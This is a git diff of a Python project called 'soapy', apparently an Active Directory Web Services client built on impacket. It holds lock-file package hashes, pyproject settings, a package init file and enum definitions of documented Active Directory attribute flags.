{file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e084f686b92e5b83186b07e8a17fc09e38fff551f3602b249881fec658d3eca"},
{file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d8213e09c917a951de9d09ecee036d5c7d36cb6cb7dbaece4c71a60d79fb9798"},
{file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:5b02fb34468b6aaa40dfc198d813a641e3a63b98c2b05a16b9f80b7ec314185e"},
{file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0bff5e0ae4ef2e1ae4fdf2dfd5b76c75e5c2fa4132d05fc1b0dabcd20c7e28c4"},
{file = "MarkupSafe-3.0.2-cp311-cp311-win32.whl", hash = "sha256:6c89876f41da747c8d3677a2b540fb32ef5715f97b66eeb0c6b66f5e3ef6f59d"},
{file = "MarkupSafe-3.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:70a87b411535ccad5ef2f1df5136506a10775d267e197e4cf531ced10537bd6b"},
{file = "MarkupSafe-3.0.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:9778bd8ab0a994ebf6f84c2b949e65736d5575320a17ae8984a77fab08db94cf"},
{file = "MarkupSafe-3.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:846ade7b71e3536c4e56b386c2a47adf5741d2d8b94ec9dc3e92e5e1ee1e2225"},
{file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1c99d261bd2d5f6b59325c92c73df481e05e57f19837bdca8413b9eac4bd8028"},
{file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e17c96c14e19278594aa4841ec148115f9c7615a47382ecb6b82bd8fea3ab0c8"},
{file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:88416bd1e65dcea10bc7569faacb2c20ce071dd1f87539ca2ab364bf6231393c"},
{file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2181e67807fc2fa785d0592dc2d6206c019b9502410671cc905d132a92866557"},
{file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:52305740fe773d09cffb16f8ed0427942901f00adedac82ec8b67752f58a1b22"},
{file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ad10d3ded218f1039f11a75f8091880239651b52e9bb592ca27de44eed242a48"},
{file = "MarkupSafe-3.0.2-cp312-cp312-win32.whl", hash = "sha256:0f4ca02bea9a23221c0182836703cbf8930c5e9454bacce27e767509fa286a30"},
{file = "MarkupSafe-3.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:8e06879fc22a25ca47312fbe7c8264eb0b662f6db27cb2d3bbbc74b1df4b9b87"},
{file = "MarkupSafe-3.0.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ba9527cdd4c926ed0760bc301f6728ef34d841f405abf9d4f959c478421e4efd"},
{file = "MarkupSafe-3.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f8b3d067f2e40fe93e1ccdd6b2e1d16c43140e76f02fb1319a05cf2b79d99430"},
{file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:569511d3b58c8791ab4c2e1285575265991e6d8f8700c7be0e88f86cb0672094"},
{file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:15ab75ef81add55874e7ab7055e9c397312385bd9ced94920f2802310c930396"},
{file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f3818cb119498c0678015754eba762e0d61e5b52d34c8b13d770f0719f7b1d79"},
{file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cdb82a876c47801bb54a690c5ae105a46b392ac6099881cdfb9f6e95e4014c6a"},
{file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:cabc348d87e913db6ab4aa100f01b08f481097838bdddf7c7a84b7575b7309ca"},
{file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:444dcda765c8a838eaae23112db52f1efaf750daddb2d9ca300bcae1039adc5c"},
{file = "MarkupSafe-3.0.2-cp313-cp313-win32.whl", hash = "sha256:bcf3e58998965654fdaff38e58584d8937aa3096ab5354d493c77d1fdd66d7a1"},
{file = "MarkupSafe-3.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:e6a2a455bd412959b57a172ce6328d2dd1f01cb2135efda2e4576e8a23fa3b0f"},
{file = "MarkupSafe-3.0.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:b5a6b3ada725cea8a5e634536b1b01c30bcdcd7f9c6fff4151548d5bf6b3a36c"},
{file = "MarkupSafe-3.0.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:a904af0a6162c73e3edcb969eeeb53a63ceeb5d8cf642fade7d39e7963a22ddb"},
{file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4aa4e5faecf353ed117801a068ebab7b7e09ffb6e1d5e412dc852e0da018126c"},
{file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0ef13eaeee5b615fb07c9a7dadb38eac06a0608b41570d8ade51c56539e509d"},
{file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d16a81a06776313e817c951135cf7340a3e91e8c1ff2fac444cfd75fffa04afe"},
{file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:6381026f158fdb7c72a168278597a5e3a5222e83ea18f543112b2662a9b699c5"},
{file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:3d79d162e7be8f996986c064d1c7c817f6df3a77fe3d6859f6f9e7be4b8c213a"},
{file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:131a3c7689c85f5ad20f9f6fb1b866f402c445b220c19fe4308c0b147ccd2ad9"},
{file = "MarkupSafe-3.0.2-cp313-cp313t-win32.whl", hash = "sha256:ba8062ed2cf21c07a9e295d5b8a2a5ce678b913b45fdf68c32d95d6c1291e0b6"},
{file = "MarkupSafe-3.0.2-cp313-cp313t-win_amd64.whl", hash = "sha256:e444a31f8db13eb18ada366ab3cf45fd4b31e4db1236a4448f68778c1d1a5a2f"},
{file = "MarkupSafe-3.0.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:eaa0a10b7f72326f1372a713e73c3f739b524b3af41feb43e4921cb529f5929a"},
{file = "MarkupSafe-3.0.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:48032821bbdf20f5799ff537c7ac3d1fba0ba032cfc06194faffa8cda8b560ff"},
{file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a9d3f5f0901fdec14d8d2f66ef7d035f2157240a433441719ac9a3fba440b13"},
{file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:88b49a3b9ff31e19998750c38e030fc7bb937398b1f78cfa599aaef92d693144"},
{file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cfad01eed2c2e0c01fd0ecd2ef42c492f7f93902e39a42fc9ee1692961443a29"},
{file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:1225beacc926f536dc82e45f8a4d68502949dc67eea90eab715dea3a21c1b5f0"},
{file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:3169b1eefae027567d1ce6ee7cae382c57fe26e82775f460f0b2778beaad66c0"},
{file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:eb7972a85c54febfb25b5c4b4f3af4dcc731994c7da0d8a0b4a6eb0640e1d178"},
{file = "MarkupSafe-3.0.2-cp39-cp39-win32.whl", hash = "sha256:8c4e8c3ce11e1f92f6536ff07154f9d49677ebaaafc32db9db4620bc11ed480f"},
{file = "MarkupSafe-3.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:6e296a513ca3d94054c2c881cc913116e90fd030ad1c656b3869762b754f5f8a"},
{file = "markupsafe-3.0.2.tar.gz", hash = "sha256:ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0"},
]
[[package]]
name = "packaging"
version = "24.2"
description = "Core utilities for Python packages"
optional = false
python-versions = ">=3.8"
files = [
{file = "packaging-24.2-py3-none-any.whl", hash = "sha256:09abb1bccd265c01f4a3aa3f7a7db064b36514d2cba19a2f694fe6150451a759"},
{file = "packaging-24.2.tar.gz", hash = "sha256:c228a6dc5e932d346bc5739379109d49e8853dd8223571c7c5b55260edc0b97f"},
]
[[package]]
name = "pluggy"
version = "1.5.0"
description = "plugin and hook calling mechanisms for python"
optional = false
python-versions = ">=3.8"
files = [
{file = "pluggy-1.5.0-py3-none-any.whl", hash = "sha256:44e1ad92c8ca002de6377e165f3e0f1be63266ab4d554740532335b9d75ea669"},
{file = "pluggy-1.5.0.tar.gz", hash = "sha256:2cffa88e94fdc978c4c574f15f9e59b7f4201d439195c3715ca9e2486f1d0cf1"},
]
[package.extras]
dev = ["pre-commit", "tox"]
testing = ["pytest", "pytest-benchmark"]
[[package]]
name = "pyasn1"
version = "0.6.1"
description = "Pure-Python implementation of ASN.1 types and DER/BER/CER codecs (X.208)"
optional = false
python-versions = ">=3.8"
files = [
{file = "pyasn1-0.6.1-py3-none-any.whl", hash = "sha256:0d632f46f2ba09143da3a8afe9e33fb6f92fa2320ab7e886e2d0f7672af84629"},
{file = "pyasn1-0.6.1.tar.gz", hash = "sha256:6f580d2bdd84365380830acf45550f2511469f673cb4a5ae3857a3170128b034"},
]
[[package]]
name = "pycparser"
version = "2.22"
description = "C parser in Python"
optional = false
python-versions = ">=3.8"
files = [
{file = "pycparser-2.22-py3-none-any.whl", hash = "sha256:c3702b6d3dd8c7abc1afa565d7e63d53a1d0bd86cdc24edd75470f4de499cfcc"},
{file = "pycparser-2.22.tar.gz", hash = "sha256:491c8be9c040f5390f5bf44a5b07752bd07f56edf992381b05c701439eec10f6"},
]
[[package]]
name = "pycryptodomex"
version = "3.21.0"
description = "Cryptographic library for Python"
optional = false
python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7"
files = [
{file = "pycryptodomex-3.21.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:dbeb84a399373df84a69e0919c1d733b89e049752426041deeb30d68e9867822"},
{file = "pycryptodomex-3.21.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:a192fb46c95489beba9c3f002ed7d93979423d1b2a53eab8771dbb1339eb3ddd"},
{file = "pycryptodomex-3.21.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:1233443f19d278c72c4daae749872a4af3787a813e05c3561c73ab0c153c7b0f"},
{file = "pycryptodomex-3.21.0-cp27-cp27m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bbb07f88e277162b8bfca7134b34f18b400d84eac7375ce73117f865e3c80d4c"},
{file = "pycryptodomex-3.21.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:e859e53d983b7fe18cb8f1b0e29d991a5c93be2c8dd25db7db1fe3bd3617f6f9"},
{file = "pycryptodomex-3.21.0-cp27-cp27m-win32.whl", hash = "sha256:ef046b2e6c425647971b51424f0f88d8a2e0a2a63d3531817968c42078895c00"},
{file = "pycryptodomex-3.21.0-cp27-cp27m-win_amd64.whl", hash = "sha256:da76ebf6650323eae7236b54b1b1f0e57c16483be6e3c1ebf901d4ada47563b6"},
{file = "pycryptodomex-3.21.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:c07e64867a54f7e93186a55bec08a18b7302e7bee1b02fd84c6089ec215e723a"},
{file = "pycryptodomex-3.21.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:56435c7124dd0ce0c8bdd99c52e5d183a0ca7fdcd06c5d5509423843f487dd0b"},
{file = "pycryptodomex-3.21.0-cp27-cp27mu-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:65d275e3f866cf6fe891411be9c1454fb58809ccc5de6d3770654c47197acd65"},
{file = "pycryptodomex-3.21.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:5241bdb53bcf32a9568770a6584774b1b8109342bd033398e4ff2da052123832"},
{file = "pycryptodomex-3.21.0-cp36-abi3-macosx_10_9_universal2.whl", hash = "sha256:34325b84c8b380675fd2320d0649cdcbc9cf1e0d1526edbe8fce43ed858cdc7e"},
{file = "pycryptodomex-3.21.0-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:103c133d6cd832ae7266feb0a65b69e3a5e4dbbd6f3a3ae3211a557fd653f516"},
{file = "pycryptodomex-3.21.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:77ac2ea80bcb4b4e1c6a596734c775a1615d23e31794967416afc14852a639d3"},
{file = "pycryptodomex-3.21.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9aa0cf13a1a1128b3e964dc667e5fe5c6235f7d7cfb0277213f0e2a783837cc2"},
{file = "pycryptodomex-3.21.0-cp36-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:46eb1f0c8d309da63a2064c28de54e5e614ad17b7e2f88df0faef58ce192fc7b"},
{file = "pycryptodomex-3.21.0-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:cc7e111e66c274b0df5f4efa679eb31e23c7545d702333dfd2df10ab02c2a2ce"},
{file = "pycryptodomex-3.21.0-cp36-abi3-musllinux_1_2_i686.whl", hash = "sha256:770d630a5c46605ec83393feaa73a9635a60e55b112e1fb0c3cea84c2897aa0a"},
{file = "pycryptodomex-3.21.0-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:52e23a0a6e61691134aa8c8beba89de420602541afaae70f66e16060fdcd677e"},
{file = "pycryptodomex-3.21.0-cp36-abi3-win32.whl", hash = "sha256:a3d77919e6ff56d89aada1bd009b727b874d464cb0e2e3f00a49f7d2e709d76e"},
{file = "pycryptodomex-3.21.0-cp36-abi3-win_amd64.whl", hash = "sha256:b0e9765f93fe4890f39875e6c90c96cb341767833cfa767f41b490b506fa9ec0"},
{file = "pycryptodomex-3.21.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:feaecdce4e5c0045e7a287de0c4351284391fe170729aa9182f6bd967631b3a8"},
{file = "pycryptodomex-3.21.0-pp27-pypy_73-win32.whl", hash = "sha256:365aa5a66d52fd1f9e0530ea97f392c48c409c2f01ff8b9a39c73ed6f527d36c"},
{file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:3efddfc50ac0ca143364042324046800c126a1d63816d532f2e19e6f2d8c0c31"},
{file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0df2608682db8279a9ebbaf05a72f62a321433522ed0e499bc486a6889b96bf3"},
{file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5823d03e904ea3e53aebd6799d6b8ec63b7675b5d2f4a4bd5e3adcb512d03b37"},
{file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:27e84eeff24250ffec32722334749ac2a57a5fd60332cd6a0680090e7c42877e"},
{file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:8ef436cdeea794015263853311f84c1ff0341b98fc7908e8a70595a68cefd971"},
{file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7a1058e6dfe827f4209c5cae466e67610bcd0d66f2f037465daa2a29d92d952b"},
{file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9ba09a5b407cbb3bcb325221e346a140605714b5e880741dc9a1e9ecf1688d42"},
{file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:8a9d8342cf22b74a746e3c6c9453cb0cfbb55943410e3a2619bd9164b48dc9d9"},
{file = "pycryptodomex-3.21.0.tar.gz", hash = "sha256:222d0bd05381dd25c32dd6065c071ebf084212ab79bab4599ba9e6a3e0009e6c"},
]
[[package]]
name = "pyopenssl"
version = "24.2.1"
description = "Python wrapper module around the OpenSSL library"
optional = false
python-versions = ">=3.7"
files = [
{file = "pyOpenSSL-24.2.1-py3-none-any.whl", hash = "sha256:967d5719b12b243588573f39b0c677637145c7a1ffedcd495a487e58177fbb8d"},
{file = "pyopenssl-24.2.1.tar.gz", hash = "sha256:4247f0dbe3748d560dcbb2ff3ea01af0f9a1a001ef5f7c4c647956ed8cbf0e95"},
]
[package.dependencies]
cryptography = ">=41.0.5,<44"
[package.extras]
docs = ["sphinx (!=5.2.0,!=5.2.0.post0,!=7.2.5)", "sphinx-rtd-theme"]
test = ["pretend", "pytest (>=3.0.1)", "pytest-rerunfailures"]
[[package]]
name = "pytest"
version = "8.3.3"
description = "pytest: simple powerful testing with Python"
optional = false
python-versions = ">=3.8"
files = [
{file = "pytest-8.3.3-py3-none-any.whl", hash = "sha256:a6853c7375b2663155079443d2e45de913a911a11d669df02a50814944db57b2"},
{file = "pytest-8.3.3.tar.gz", hash = "sha256:70b98107bd648308a7952b06e6ca9a50bc660be218d53c257cc1fc94fda10181"},
]
[package.dependencies]
colorama = {version = "*", markers = "sys_platform == \"win32\""}
iniconfig = "*"
packaging = "*"
pluggy = ">=1.5,<2"
[package.extras]
dev = ["argcomplete", "attrs (>=19.2)", "hypothesis (>=3.56)", "mock", "pygments (>=2.7.2)", "requests", "setuptools", "xmlschema"]
[[package]]
name = "ruff"
version = "0.7.3"
description = "An extremely fast Python linter and code formatter, written in Rust."
optional = false
python-versions = ">=3.7"
files = [
{file = "ruff-0.7.3-py3-none-linux_armv6l.whl", hash = "sha256:34f2339dc22687ec7e7002792d1f50712bf84a13d5152e75712ac08be565d344"},
{file = "ruff-0.7.3-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:fb397332a1879b9764a3455a0bb1087bda876c2db8aca3a3cbb67b3dbce8cda0"},
{file = "ruff-0.7.3-py3-none-macosx_11_0_arm64.whl", hash = "sha256:37d0b619546103274e7f62643d14e1adcbccb242efda4e4bdb9544d7764782e9"},
{file = "ruff-0.7.3-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5d59f0c3ee4d1a6787614e7135b72e21024875266101142a09a61439cb6e38a5"},
{file = "ruff-0.7.3-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:44eb93c2499a169d49fafd07bc62ac89b1bc800b197e50ff4633aed212569299"},
{file = "ruff-0.7.3-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6d0242ce53f3a576c35ee32d907475a8d569944c0407f91d207c8af5be5dae4e"},
{file = "ruff-0.7.3-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:6b6224af8b5e09772c2ecb8dc9f3f344c1aa48201c7f07e7315367f6dd90ac29"},
{file = "ruff-0.7.3-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c50f95a82b94421c964fae4c27c0242890a20fe67d203d127e84fbb8013855f5"},
{file = "ruff-0.7.3-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7f3eff9961b5d2644bcf1616c606e93baa2d6b349e8aa8b035f654df252c8c67"},
{file = "ruff-0.7.3-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b8963cab06d130c4df2fd52c84e9f10d297826d2e8169ae0c798b6221be1d1d2"},
{file = "ruff-0.7.3-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:61b46049d6edc0e4317fb14b33bd693245281a3007288b68a3f5b74a22a0746d"},
{file = "ruff-0.7.3-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:10ebce7696afe4644e8c1a23b3cf8c0f2193a310c18387c06e583ae9ef284de2"},
{file = "ruff-0.7.3-py3-none-musllinux_1_2_i686.whl", hash = "sha256:3f36d56326b3aef8eeee150b700e519880d1aab92f471eefdef656fd57492aa2"},
{file = "ruff-0.7.3-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:5d024301109a0007b78d57ab0ba190087b43dce852e552734ebf0b0b85e4fb16"},
{file = "ruff-0.7.3-py3-none-win32.whl", hash = "sha256:4ba81a5f0c5478aa61674c5a2194de8b02652f17addf8dfc40c8937e6e7d79fc"},
{file = "ruff-0.7.3-py3-none-win_amd64.whl", hash = "sha256:588a9ff2fecf01025ed065fe28809cd5a53b43505f48b69a1ac7707b1b7e4088"},
{file = "ruff-0.7.3-py3-none-win_arm64.whl", hash = "sha256:1713e2c5545863cdbfe2cbce21f69ffaf37b813bfd1fb3b90dc9a6f1963f5a8c"},
{file = "ruff-0.7.3.tar.gz", hash = "sha256:e1d1ba2e40b6e71a61b063354d04be669ab0d39c352461f3d789cac68b54a313"},
]
[[package]]
name = "six"
version = "1.16.0"
description = "Python 2 and 3 compatibility utilities"
optional = false
python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*"
files = [
{file = "six-1.16.0-py2.py3-none-any.whl", hash = "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"},
{file = "six-1.16.0.tar.gz", hash = "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"},
]
[[package]]
name = "sortedcontainers"
version = "2.4.0"
description = "Sorted Containers -- Sorted List, Sorted Dict, Sorted Set"
optional = false
python-versions = "*"
files = [
{file = "sortedcontainers-2.4.0-py2.py3-none-any.whl", hash = "sha256:a163dcaede0f1c021485e957a39245190e74249897e2ae4b2aa38595db237ee0"},
{file = "sortedcontainers-2.4.0.tar.gz", hash = "sha256:25caa5a06cc30b6b83d11423433f65d1f9d76c4c6a0c90e3379eaa43b9bfdb88"},
]
[[package]]
name = "werkzeug"
version = "3.1.3"
description = "The comprehensive WSGI web application library."
optional = false
python-versions = ">=3.9"
files = [
{file = "werkzeug-3.1.3-py3-none-any.whl", hash = "sha256:54b78bf3716d19a65be4fceccc0d1d7b89e608834989dfae50ea87564639213e"},
{file = "werkzeug-3.1.3.tar.gz", hash = "sha256:60723ce945c19328679790e3282cc758aa4a6040e4bb330f53d30fa546d44746"},
]
[package.dependencies]
MarkupSafe = ">=2.1.1"
[package.extras]
watchdog = ["watchdog (>=2.3)"]
[metadata]
lock-version = "2.0"
python-versions = "^3.11"
content-hash = "cca4abb6210fe76f73304d70d774f6b365a0f8e904a6f11099db247c7c584f00"
+44
View File
@@ -0,0 +1,44 @@
[tool.poetry]
name = "soapy"
version = "0.1.0"
description = ""
authors = [
"Jackson-Leverett <jack.leverett@ibm.com>",
"Logan-Goins <logan.goins@ibm.com>",
]
readme = "README.md"
packages = [{ include = "src" }]
[tool.poetry.scripts]
soapy = "src:run_cli"
[tool.poetry.dependencies]
python = "^3.11"
impacket = "^0.11.0"
[tool.poetry.group.dev.dependencies]
pytest = "^8.2.2"
hypothesis = "^6.103.2"
ruff = "^0.7.1"
[build-system]
requires = ["poetry-core"]
build-backend = "poetry.core.masonry.api"
[tool.ruff]
line-length = 120
[tool.ruff.lint]
select = [
"E", # pycodestyle errors
"W", # pycodestyle warnings
"F", # pyflakes
"I", # isort
"B", # flake8-bugbear
"C4", # flake8-comprehensions
"N", # PEP8 naming convetions
]
[tool.ruff.lint.pydocstyle]
convention = "google"
+7
View File
@@ -0,0 +1,7 @@
from .ms_nmf import NMFConnection
from .ms_nns import NNS
from .encoder import Encoder
from .adws import ADWSConnect
from .soa import run_cli
__all__ = ["NMFConnection", "NNS", "Encoder", "ADWSConnect", "run_cli"]
+757
View File
@@ -0,0 +1,757 @@
import datetime
import logging
import socket
from base64 import b64decode
from enum import IntFlag
from typing import Self, Type
from uuid import UUID, uuid4
from xml.etree import ElementTree
from impacket.ldap.ldaptypes import (
ACCESS_ALLOWED_ACE,
ACCESS_ALLOWED_CALLBACK_ACE,
ACCESS_ALLOWED_CALLBACK_OBJECT_ACE,
ACCESS_ALLOWED_OBJECT_ACE,
LDAP_SID,
SR_SECURITY_DESCRIPTOR,
SYSTEM_MANDATORY_LABEL_ACE,
)
from pyasn1.type.useful import GeneralizedTime
import src.ms_nmf as ms_nmf
from src.ms_nns import NNS
from .soap_templates import (
LDAP_PULL_FSTRING,
LDAP_PUT_FSTRING,
LDAP_QUERY_FSTRING,
NAMESPACES,
)
# https://learn.microsoft.com/en-us/windows/win32/adschema/a-systemflags
class SystemFlags(IntFlag):
NONE = 0x00000000
NO_REPLICATION = 0x00000001
REPLICATE_TO_GC = 0x00000002
CONSTRUCTED = 0x00000004
CATEGORY_1 = 0x00000010
NOT_DELETED = 0x02000000
CANNOT_MOVE = 0x04000000
CANNOT_RENAME = 0x08000000
MOVED_WITH_RESTRICTIONS = 0x10000000
MOVED = 0x20000000
RENAMED = 0x40000000
CANNOT_DELETE = 0x80000000
# https://learn.microsoft.com/en-us/windows/win32/adschema/a-instancetype
class InstanceTypeFlags(IntFlag):
HEAD_OF_NAMING_CONTEXT = 0x00000001
REPLICA_NOT_INSTANTIATED = 0x00000002
OBJECT_WRITABLE = 0x00000004
NAMING_CONTEXT_HELD = 0x00000008
CONSTRUCTING_NAMING_CONTEXT = 0x00000010
REMOVING_NAMING_CONTEXT = 0x00000020
# https://learn.microsoft.com/en-us/windows/win32/adschema/a-grouptype
class GroupTypeFlags(IntFlag):
SYSTEM_GROUP = 0x00000001
GLOBAL_SCOPE = 0x00000002
DOMAIN_LOCAL_SCOPE = 0x00000004
UNIVERSAL_SCOPE = 0x00000008
APP_BASIC_GROUP = 0x00000010
APP_QUERY_GROUP = 0x00000020
SECURITY_GROUP = 0x80000000
# https://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/
class AccountPropertyFlag(IntFlag):
SCRIPT = 0x0001
ACCOUNTDISABLE = 0x0002
HOMEDIR_REQUIRED = 0x0008
LOCKOUT = 0x0010
PASSWD_NOTREQD = 0x0020
PASSWD_CANT_CHANGE = 0x0040
ENCRYPTED_TEXT_PWD_ALLOWED = 0x0080
TEMP_DUPLICATE_ACCOUNT = 0x0100
NORMAL_ACCOUNT = 0x0200
DISABLED_ACCOUNT = 0x0202 # Not officially documented
ENABLED_PASSWORD_NOT_REQUIRED = 0x0220 # Not officially documented
DISABLED_PASSWORD_NOT_REQUIRED = 0x0222 # Not officially documented
INTERDOMAIN_TRUST_ACCOUNT = 0x0800
WORKSTATION_TRUST_ACCOUNT = 0x1000
SERVER_TRUST_ACCOUNT = 0x2000
DONT_EXPIRE_PASSWORD = 0x10000
ENABLED_PASSWORD_DOESNT_EXPIRE = 0x10200 # Not officially documented
DISABLED_PASSWORD_DOESNT_EXPIRE = 0x10202 # Not officially documented
DISABLED_PASSWORD_DOESNT_EXPIRE_NOT_REQUIRED = 0x10222 # Not officially documented
MNS_LOGON_ACCOUNT = 0x20000
SMARTCARD_REQUIRED = 0x40000
ENABLED_SMARTCARD_REQUIRED = 0x40200 # Not officially documented
DISABLED_SMARTCARD_REQUIRED = 0x40202 # Not officially documented
DISABLED_SMARTCARD_REQUIRED_PASSWORD_NOT_REQUIRED = (
0x40222 # Not officially documented
)
DISABLED_SMARTCARD_REQUIRED_PASSWORD_DOESNT_EXPIRE = (
0x50202 # Not officially documented
)
DISABLED_SMARTCARD_REQUIRED_PASSWORD_DOESNT_EXPIRE_NOT_REQUIRED = (
0x50222 # Not officially documented
)
TRUSTED_FOR_DELEGATION = 0x80000
DOMAIN_CONTROLLER = 0x82000
NOT_DELEGATED = 0x100000
USE_DES_KEY_ONLY = 0x200000
DONT_REQ_PREAUTH = 0x400000
PASSWORD_EXPIRED = 0x800000
TRUSTED_TO_AUTH_FOR_DELEGATION = 0x1000000
PARTIAL_SECRETS_ACCOUNT = 0x04000000
# https://github.com/fortra/impacket/blob/829239e334fee62ace0988a0cb5284233d8ec3c4/impacket/dcerpc/v5/samr.py#L176
class SamAccountType(IntFlag):
SAM_DOMAIN_OBJECT = 0x00000000
SAM_GROUP_OBJECT = 0x10000000
SAM_NON_SECURITY_GROUP_OBJECT = 0x10000001
SAM_ALIAS_OBJECT = 0x20000000
SAM_NON_SECURITY_ALIAS_OBJECT = 0x20000001
